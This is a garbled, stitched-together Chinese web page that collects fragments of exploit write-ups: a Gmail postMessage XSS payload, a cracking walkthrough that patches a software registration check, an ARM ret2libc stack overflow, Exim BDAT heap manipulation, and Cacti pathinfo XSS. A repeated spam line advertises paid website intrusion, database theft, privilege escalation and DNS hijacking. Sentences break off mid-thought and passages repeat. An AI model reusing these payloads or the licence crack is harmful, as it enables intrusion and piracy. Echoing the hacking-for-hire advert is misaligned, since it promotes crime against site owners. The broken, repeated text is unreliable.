在这里我们控制这个
这意味着我们可以通过在受我们控制的网站上托管恶意 JavaScript 有效载荷来构造漏洞利用程序。该有效载荷会打开一个指向受害者网站的窗口并保留该窗口对象。然后,该 JavaScript 有效载荷会使用
最后,我们需要设置一个 HTTPS 服务器来监听发送到
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
k变量,可以看到它随后作为参数传递给下面的函数:function d(a) {
var b = document.createElement("div");
b.innerHTML = a;
var c = b.getElementsByClassName("h5");
c.length && c[0].classList.remove("h5"), g = b.innerHTML
}这意味着我们可以通过在受我们控制的网站上托管恶意 JavaScript 有效载荷来构造漏洞利用程序。该有效载荷会打开一个指向受害者网站的窗口并保留该窗口对象。然后,该 JavaScript 有效载荷会使用
postMessage()窗口对象上的方法,并发送如下 JSON 有效载荷:{name: "receiveGmailIk", baseUrl: "https://test.xpnsec.com/mail/1", content: "<iframe src='javascript:alert(document.domain)'></iframe>", preview: 1, ik: "9", user: {email: "xpnsec@protonmail.com", name: "adam chester"}最后,我们需要设置一个 HTTPS 服务器来监听发送到
baseUrl参数(在本例中为https://test.xpnsec.com)的请求,并提供以下 JSON 响应:)]}'
1548
[["ms","1","",4,"xpn sec \u003cxpnsec@protonmail.com\u003e","XPN","xpnsec@protonmail.com",1,"Test",["^all","^f","^i","^iim","^io_im","^io_lr","^o"],0,1,"Test",["1",["XPN Security \u003cxpnsec@protonmail.com\u003e"],[],[],[],"Test","",[[],[0],"",[],[]],0,[[],[["me","xpnsec@protonmail.com"]],[],[],[],[]],"",null,0,1,0,0,1,"",null,"","","Test","",null,[0],null,[],null,0,[0],1,null,null,[],null,0,0,0,0,0,null,null,[],null,6,-1,null,0,null,1,null,null,null,0,null,[],null,[],null,[],0,0,null,[]],null,0,"01:29","01:29",0,null,null,"",["en"],0,"",[],null,null,null,0,null,null,null,0,1,"","xpnsec@protonmail.com",[[],[["me","xpnsec@protonmail.com"]],[],[],[],[]],-1,null,null,null,"gmail.com",null,[],[],0,"",null,null,null,null,null,null,null,null,null,null,null,1,null,0,1],["ce"],["ak","","cv","query",""]]
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
❤1
首先我们看到
可以看到,从确定按钮的点击事件中,所触发的这个弹窗。我们针对该点击事件去找下具体代码。
从第七行开始看。可以看到获取的
重要的内容从第9行开始,我们来分析下写的什么意思。可以很明显的看出来这里写的是,如果
进入这个函数可以得知该函数的返回值为
最后如果算出来注册码为正确的话才返回
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
“脑图”。我现在按照”脑图“的分析思路。从第一个思路开始分析一下。 可以看到输入注册码那个窗口,我们随便输入一个内容后点确定。可以看到,从确定按钮的点击事件中,所触发的这个弹窗。我们针对该点击事件去找下具体代码。
在Form1-》Button1_Click方法以下代码:从第七行开始看。可以看到获取的
TextBox1控件的内容并赋值给text。然后到第8行去判断 this.RegCodeeque(text)返回值 是否等于20。并且将结果赋值给flag。如果等于则为true,如果不等于则为false重要的内容从第9行开始,我们来分析下写的什么意思。可以很明显的看出来这里写的是,如果
flag为true的话则将text内容就是输入的注册码内容写进注册表内。然后提示注册成功,窗口结束。如果flag为false的话,则提示注册码错误。很明显,我们刚刚为false,所以走进了注册码错误。接下来我们瞄准到this.RegCodeeque(text)这个函数中。进入这个函数可以得知该函数的返回值为
int型。看到上面验证代码 bool flag = this.RegCodeeque(text) == 20;可以看到返回函数返回值是否等于20。我们需要让这个程序的返回值为20,从而直接到注册成功。所以中间代码。不管他。直接看图中的代码。最后如果算出来注册码为正确的话才返回
20,否则话就返回0。所以我们可以选择尝试直接改result改成:return 20; 或者 重新把result赋值一遍。渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
每次运行
可以看到返回值也是
可以看到。每次运行
所以我们可以确定就是这个函数做了初始化验证功能。
现在开始阅读一下代码。看看这些代码到底做了什么操作。接下来的代码一些操作流程。我都会以注释形式写在以下代码中。
首先按照我们上面代码的分析思路。
我们
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
“辅助工具”都会弹出这个注册窗。那么在“辅助工具”初始化的时候肯定做了判断,所以才会反复进入注册窗口。于是我们找到CHECKLOAD-》CheckReg处。可以看到返回值也是
int类型。可以看到。每次运行
“辅助工具”都会弹出无申请码这个提示。所以我们可以确定就是这个函数做了初始化验证功能。
现在开始阅读一下代码。看看这些代码到底做了什么操作。接下来的代码一些操作流程。我都会以注释形式写在以下代码中。
首先按照我们上面代码的分析思路。
我们
CB5文件的申请码改成我们自己的先。然后运行试试。渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
strncpy() 函数引起的栈溢出,在利用时就会有很 egg hurt 的 0x00 坏字符问题,如果我们的输入数据中包含 0x00,将会被截断导致漏洞利用失败。根据溢出点附近的汇编代码来看,0x0a 也会被截断。且开启了 NX 保护,这意味着我们无法在栈上部署 shellcode。
尝试通过
return2libc 的方式 getshell。由于没有实际的摄像头,我们不知道目标系统是否开启了 ASLR ,如果 ASLR 是开启的且没有其它可用来暴露 libC 动态链接库内存地址的漏洞,那么利用该漏洞将会是一个很难受的过程。采用以下方式暂时关闭
ASLRecho 0 > /proc/sys/kernel/randomize_va_space
libC 库的加载地址如下接下来就需要精心构造数据,劫持函数的执行流程了。有一点需要注意,X86 架构下的所有参数都是通过堆栈传递的,而在 MIPS 和 ARM 架构中,会优先通过寄存器传递参数,如果参数个数超过了寄存器的数量,则将剩下的参数压入调用参数空间(即堆栈)。
从前面的分析来看,只要我们构造 0x38 - 4 字节以上的数据,栈底的函数返回地址就会被我们劫持。system() 函数地址 =
libC 库在内存中的加载基址 + system() 函数在 libC 库中的偏移,通过劫持该地址为 libC 库中的 system() 函数地址,再设置 R0 寄存器指向命令字符串,就可以执行任意命令。渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
❤1
首先,当有新连接进来的时候,fork一个子进程,然后进入上面代码中的那个分支,
这时候我们发送一个命令
然后有几个比较重要的操作:
首先是把输入的16356赋值给
然后把
再做完这些的操作后,进入了
然后进入
首先,我们发送16352个a作为padding,然后执行了下面这流程:
storeextend return 0 -> storeget -> store_release
先申请了一个0x4010的heap2,然后释放了长度为0x2010的heap1
然后发送
跳到了EOL,最重要的是最后几行代码:
把一些变量重新进行了初始化,因为之前因为padding执行了
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
smtp_setup_msg函数是用来接收命令的函数,我们先发一堆无效的命令过去(padding),控制yield_length的值小于0x100,目的上一篇文章说过了,因为命令无效,流程再一次进入了smtp_setup_msg这时候我们发送一个命令
BDAT 16356然后有几个比较重要的操作:
5085 if (sscanf(CS smtp_cmd_data, "%u %n", &chunking_datasize, &n) < 1)
5093 chunking_data_left = chunking_datasize;
5100 lwr_receive_getc = receive_getc;
5101 lwr_receive_getbuf = receive_getbuf;
5102 lwr_receive_ungetc = receive_ungetc;
5104 receive_getc = bdat_getc;
5105 receive_ungetc = bdat_ungetc;
首先是把输入的16356赋值给
chunking_data_left然后把
receive_getc换成bdat_getc函数再做完这些的操作后,进入了
receive_msg函数,按照上篇文章的流程差不多,显示申请了一个0x100的heap1然后进入
receive_getc=bdat_getc读取数据:534 int
535 bdat_getc(unsigned lim)
536 {
......
546 if (chunking_data_left > 0)
547 return lwr_receive_getc(chunking_data_left--);
lwr_receive_getc=smtp_getc通过该函数获取16356个字符串首先,我们发送16352个a作为padding,然后执行了下面这流程:
storeextend return 0 -> storeget -> store_release
先申请了一个0x4010的heap2,然后释放了长度为0x2010的heap1
然后发送
:\r\n,进入下面的代码分支:1902 if (ch == '\r')
1903 {
1904 ch = (receive_getc)(GETC_BUFFER_UNLIMITED);
1905 if (ch == '\n')
1906 {
1907 if (first_line_ended_crlf == TRUE_UNSET) first_line_ended_crlf = TRUE;
1908 goto EOL;
1909 }
跳到了EOL,最重要的是最后几行代码:
2215 header_size = 256;
2216 next = store_get(sizeof(header_line));
2217 next->text = store_get(header_size);
2218 ptr = 0;
2219 had_zero = 0;
2220 prevlines_length = 0;
2221 } /* Continue, starting to read the next header */
把一些变量重新进行了初始化,因为之前因为padding执行了
store_get(0x4000),所以这个时候yield_length=0 这个时候再次调用store_get将会申请一个0x2000大小堆,从unsortbin中发现heap1大小正好合适,所以这个时候得到的就是heap1,在heap1的顶上有一个之前next->text使用,大小0x4010,未释放的堆。渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
在
在
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
include/auth.php, L:81-172中判断用户是否登录,未登录用户加载auth_login.php进行登录,已登录用户显示后台界面if (empty($_SESSION['sess_user_id'])) {
include($config['base_path'] . '/auth_login.php');
exit;
} elseif (!empty($_SESSION['sess_user_id'])) {
...
include_once('./include/global_session.php');
...
}在
auth_login.php, L:576,683 读取当前页面路径拼接进入action<form name='login' method='post' action='<?php print get_current_page();?>'>
......
<?php include_once('./include/global_session.php');?>
lib/function.php, L:2889-2913 PHP_SELF返回当前执行脚本的文件名,但在pathinfo模式下PHP_SELF会返回从文件名到query_string之前的部分。由于pathinfo中的单引号不会被转义,可以在form中构造反射型xss,但这样只会影响未登录用户。function get_current_page($basename = true) {
if (isset($_SERVER['PHP_SELF']) && $_SERVER['PHP_SELF'] != '') {
if ($basename) {
return basename($_SERVER['PHP_SELF']);
} else {
return $_SERVER['PHP_SELF'];
}
} elseif(){
......
}
return false;
}include/global_session.php, L:91 获取REQUEST_URL过滤html标签过来非url字符后作为js参数拼接进入字符串。同理配合pathinfo模式引入单引号构造反射型xss,同时影响登录用户和未登录用户。var requestURI='<?php print filter_var(strip_tags($_SERVER['REQUEST_URI']), FILTER_SANITIZE_URL);?>';渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM